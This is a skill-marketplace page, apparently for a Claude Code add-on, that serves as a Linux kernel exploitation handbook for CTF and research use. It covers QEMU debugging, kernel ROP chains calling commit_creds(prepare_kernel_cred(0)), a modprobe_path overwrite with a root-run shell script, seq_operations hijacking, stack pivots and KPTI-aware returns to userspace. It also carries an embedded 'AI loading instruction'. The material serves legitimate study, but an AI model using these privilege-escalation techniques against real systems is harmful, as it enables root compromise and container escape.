mcpField
K
kernel-exploitation

kernel-exploitation

github.com/yaklang安全2.6k3.7k 次安装6 周前更新
代码仓库

关于 kernel-exploitation

面向安全研究者和 CTF 参与者的 Linux 内核利用指南,涵盖 QEMU 环境、漏洞类型、权限提升、内核 ROP 与返回用户态,并关注内核特有的缓解措施。

主要功能

  1. 01QEMU 内核实验环境搭建
  2. 02常见内核漏洞类型
  3. 03权限提升目标
  4. 04内核 ROP 与栈迁移
  5. 05SMEP、SMAP 和 KPTI 注意事项
  6. 06安全返回用户态

适用场景

  1. 01搭建内核调试环境
  2. 02分析 UAF、越界访问和竞态漏洞
  3. 03开发内核权限提升利用
  4. 04规划内核缓解措施的应对方案

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/yaklang/hack-skills --skill kernel-exploitation

安装后在 Claude Code 中输入/kernel-exploitation确认已加载。

附带文件KERNEL_HEAP_TECHNIQUES.mdKERNEL_MITIGATION_BYPASS.md

详细介绍

技能:Linux 内核漏洞利用 — 专家攻击手册

AI 加载指令:专家级内核漏洞利用技术。涵盖环境搭建(QEMU)、漏洞类别、权限提升目标、内核 ROP、ret2usr、栈迁移和跨缓存攻击。内容提炼自 ctf-wiki 内核模式章节和真实世界的内核 CVE。基础模型经常混淆用户模式和内核模式下的漏洞利用限制,尤其是在 SMEP/SMAP/KPTI 方面。

0. 相关路由

进阶参考

1. 漏洞利用模型

┌─────────────────────────────────────────────────────┐
│  1. Find Vulnerability                              │
│     (UAF, OOB, race, integer overflow, type confusion)│
├─────────────────────────────────────────────────────┤
│  2. Build Primitive                                 │
│     (arbitrary read, arbitrary write, controlled RIP)│
├─────────────────────────────────────────────────────┤
│  3. Bypass Mitigations                              │
│     (KASLR, SMEP, SMAP, KPTI)                     │
├─────────────────────────────────────────────────────┤
│  4. Escalate Privileges                             │
│     (commit_creds, modprobe_path, namespace escape)  │
├─────────────────────────────────────────────────────┤
│  5. Return to Userspace Cleanly                     │
│     (KPTI trampoline, iretq/sysretq, swapgs)       │
└─────────────────────────────────────────────────────┘

2. 环境搭建

QEMU + 自定义内核
# Download and compile kernel
wget https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-6.1.tar.xz
tar xf linux-6.1.tar.xz && cd linux-6.1
make defconfig
# Disable mitigations for easier debugging:
scripts/config --disable RANDOMIZE_BASE      # KASLR
scripts/config --disable RANDOMIZE_LAYOUT    # FG-KASLR
scripts/config --enable DEBUG_INFO
make -j$(nproc)

# Boot with QEMU
qemu-system-x86_64 \
  -kernel bzImage \
  -initrd rootfs.cpio.gz \
  -append "console=ttyS0 nokaslr quiet" \
  -nographic \
  -s -S \    # GDB server on :1234, pause at start
  -monitor /dev/null \
  -m 256M \
  -cpu kvm64,+smep,+smap
GDB 调试
gdb vmlinux
target remote :1234
# Load kernel symbols
add-symbol-file vmlinux 0xffffffff81000000  # typical .text base
# Breakpoints
b commit_creds
b *0xffffffff81234567
# pwndbg/GEF work with kernel debugging
修改 initramfs
mkdir rootfs && cd rootfs
cpio -idmv < ../rootfs.cpio.gz
# Edit init script, add exploit binary
cp /path/to/exploit ./
# Repack
find . | cpio -o --format=newc | gzip > ../rootfs.cpio.gz

3. 常见漏洞类型

类型描述内核示例
UAF对象已释放,但指针仍可访问CVE-2022-0847 (DirtyPipe)
OOB 读/写缺少数组索引或大小检查CVE-2021-22555 (Netfilter)
竞态条件检查与使用之间存在 TOCTOUCVE-2016-5195 (DirtyCow)
整数溢出大小计算发生回绕各种 ioctl 处理程序
类型混淆将对象转换为错误的类型CVE-2023-0179 (Netfilter)
双重释放对象被释放两次SLUB 分配器漏洞利用
栈溢出内核栈缓冲区溢出较少见(内核栈较小:8KB–16KB)

4. 权限提升目标

方法 1:commit_creds(prepare_kernel_cred(0))
// Kernel function that sets current process credentials to root
void (*commit_creds)(void *) = COMMIT_CREDS_ADDR;
void *(*prepare_kernel_cred)(void *) = PREPARE_KERNEL_CRED_ADDR;
commit_creds(prepare_kernel_cred(0));  // cred with uid=0, gid=0

等效的内核 ROP 链:

pop rdi; ret
0                          # NULL → prepare_kernel_cred(NULL) = init_cred
prepare_kernel_cred addr
mov rdi, rax; ... ; ret    # or pop rdi + known location
commit_creds addr
kpti_trampoline / swapgs+iretq  # return to userspace
方法 2:覆盖 modprobe_path
// modprobe_path = "/sbin/modprobe" in kernel .data
// Overwrite to "/tmp/x" → trigger with unknown binary format → kernel runs /tmp/x as root
# Setup:
echo '#!/bin/sh' > /tmp/x
echo 'cp /flag /tmp/flag && chmod 777 /tmp/flag' >> /tmp/x
chmod +x /tmp/x
# Trigger (unknown binary format):
echo -ne '\xff\xff\xff\xff' > /tmp/dummy
chmod +x /tmp/dummy
/tmp/dummy  # kernel calls modprobe_path → /tmp/x runs as root
方法 3:直接覆盖 cred 结构

如果能找到当前任务的 cred 指针并且拥有任意写能力,就直接将 cred 结构中的 uid/gid 字段清零。

方法 4:逃逸命名空间(容器)

覆盖 init_nsproxy 或操纵命名空间指针,以逃逸容器隔离。


5. 内核 ROP

可控 RIP 的来源
来源机制
损坏的函数指针UAF 对象通过类似 vtable 的分派机制调用函数 → 覆盖指针
损坏的返回地址内核栈溢出(较少见)
损坏的 ops 结构模块操作结构(file_operations、seq_operations)
劫持 seq_operations(常见 CTF 模式)
struct seq_operations {
    void * (*start)(struct seq_file *, loff_t *);
    void (*stop)(struct seq_file *, void *);
    void * (*next)(struct seq_file *, void *, loff_t *);
    int (*show)(struct seq_file *, void *);
};
// Size: 0x20 (fits in kmalloc-32)
// Open /proc/self/stat → allocates seq_operations
// UAF overwrite start → controlled RIP when read() is called
内核中的栈迁移
Gadget用途
xchg eax, esp; ret迁移到 RAX 低 32 位中的地址(位于已知地址的 mmap 缓冲区)
mov rsp, [rdi+X]; ...如果 RDI 指向可控数据
push rdi; pop rsp; ...迁移到 RDI(被劫持函数的第一个参数)

重要:启用 SMEP 后,无法执行用户空间代码。ROP 链只能使用内核 gadget。


6. ret2usr(SMEP 启用前)

直接从内核上下文调用用户空间函数:

void escalate() {
    commit_creds(prepare_kernel_cred(0));
}
// Overwrite kernel function pointer to point to escalate() in user memory

防护机制:SMEP(监管者模式执行防护)——内核无法执行用户映射的页面。


7. 返回用户空间

在内核中提升权限后,必须安全返回用户空间才能获得 root shell。

通过 iretq(传统方式)
; ROP chain ending:
swapgs                     ; swap GS base back to userspace
iretq                      ; pops: RIP, CS, RFLAGS, RSP, SS from stack
; Stack must contain: [user_rip][user_cs][user_rflags][user_rsp][user_ss]
# Save userspace state before entering kernel
user_cs = 0x33
user_ss = 0x2b
user_rflags = # saved via pushfq before exploit
user_rsp = # saved RSP
user_rip = # address of post-exploit function (e.g., get_shell)
通过 KPTI 跳板(启用 KPTI 时)

KPTI 将内核页表与用户页表分离。直接执行 swapgs; iretq 会导致崩溃,因为用户页面未映射。应使用内核自身的返回跳板:

# KPTI trampoline (in kernel at known offset):
# swapgs_restore_regs_and_return_to_usermode:
#   mov rdi, rsp
#   ...
#   swapgs
#   iretq
# Jump to trampoline with [RIP, CS, RFLAGS, RSP, SS] on stack
通过信号处理程序返回

在利用漏洞前设置一个信号处理程序。执行 commit_creds 后触发信号 → 通过信号处理程序返回用户空间(无需手动执行 swapgs/iretq)。


8. QEMU 调试技巧

命令用途
-s -S在 :1234 启动 GDB 服务器,并暂停
-monitor /dev/null禁用 QEMU 监视器(输出更简洁)
-append "nokaslr"调试时禁用 KASLR
-cpu kvm64,+smep,+smap启用指定的 CPU 功能
info registers (GDB)显示所有寄存器值
maintenance packet Qqemu.PhyMemMode:1在 GDB 中读取物理内存
cat /proc/kallsyms内核符号地址(若可读取)
cat /sys/kernel/notes内核构建 ID

9. 决策树

Kernel vulnerability identified
├── What type?
│   ├── UAF → identify freed object, spray replacement (see KERNEL_HEAP_TECHNIQUES)
│   ├── OOB → determine read/write range, target adjacent objects
│   ├── Race condition → reliable trigger (userfaultfd, FUSE)
│   ├── Integer overflow → how does it translate to OOB or allocation confusion?
│   └── Type confusion → what can the confused type access?
│
├── Build primitive
│   ├── Controlled RIP? → kernel ROP or ret2usr (if no SMEP)
│   ├── Arbitrary read? → leak KASLR base, then controlled RIP
│   ├── Arbitrary write? → modprobe_path overwrite (simplest)
│   │                      or overwrite cred structure directly
│   └── Limited write? → target function pointer in known object
│
├── Mitigations (see KERNEL_MITIGATION_BYPASS.md)
│   ├── KASLR → need info leak first (/proc/kallsyms if readable, timing, or OOB read)
│   ├── SMEP → kernel ROP only (no user code exec)
│   ├── SMAP → cannot read user data from kernel (use copy_from_user gadget)
│   ├── KPTI → use KPTI trampoline for clean return
│   └── FG-KASLR → function offsets randomized (use data section targets like modprobe_path)
│
├── Escalation method
│   ├── Have controlled RIP + KASLR bypass → ROP chain: prepare_kernel_cred(0) → commit_creds
│   ├── Have arbitrary write only → modprobe_path overwrite
│   ├── Have arbitrary write + KASLR bypass → overwrite cred uid/gid to 0
│   └── Have controlled function call → call commit_creds(prepare_kernel_cred(0))
│
└── Return to userspace
    ├── KPTI disabled → swapgs; iretq (ROP ending)
    ├── KPTI enabled → jump to KPTI trampoline
    └── Alternative → signal handler + process_one_work return path

评论

支持 Markdown